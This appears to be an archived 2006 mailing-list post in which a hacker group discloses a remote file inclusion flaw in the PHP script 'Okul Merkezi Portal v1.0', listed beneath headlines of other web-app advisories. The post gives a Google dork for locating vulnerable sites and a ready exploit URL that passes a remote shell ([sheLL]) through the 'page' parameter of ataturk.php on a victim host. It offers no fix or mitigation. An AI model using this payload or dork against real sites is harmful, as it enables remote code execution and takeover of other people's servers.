Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[SA23444] a-blog Cross-Site Scripting Vulnerability

[SA23457] opentaps "SEARCH_STRING" Cross-Site Scripting Vulnerability

b2 - 0.5 * [index] Remote File Include Vulnerability

Title   :  Calendar MX BASIC <= 1.0.2 (ID) Remote SQL Injection Vulnerability

From:	ShaFuq31_(at)_HoTMaiL.CoM <ShaFuq31_(at)_HoTMaiL.CoM>
Date:	25.12.2006
Subject:	Okul Merkezi Portal v1.0 Remote File IncLude Vuln.

# LiderHack.Org & BhhGroup.Org & Bilgi-Yonetimi.Org.Tr

# script name : Okul Merkezi Portal v1.0

# GoogLe Dork : ogrencimezunlar.php

# Script Download : http://www.okulmerkezi.com/omdemo/

# Risk : High

# Found By : ShaFuck31

# Thanks : | Dekolax | The ReD | DesquneR | f1r3b0y | BaZaL | SaboTaqe | ST@ReXT | BLaSTER | UNiKnoX |

# Vulnerable file : ataturk.php

#Vuln :
http://www.victim.com/ScriptPath/ataturk.php?page=[sheLL]

#Contact: ShaFuq31 (at) HoTMaiL (dot) CoM [email concealed]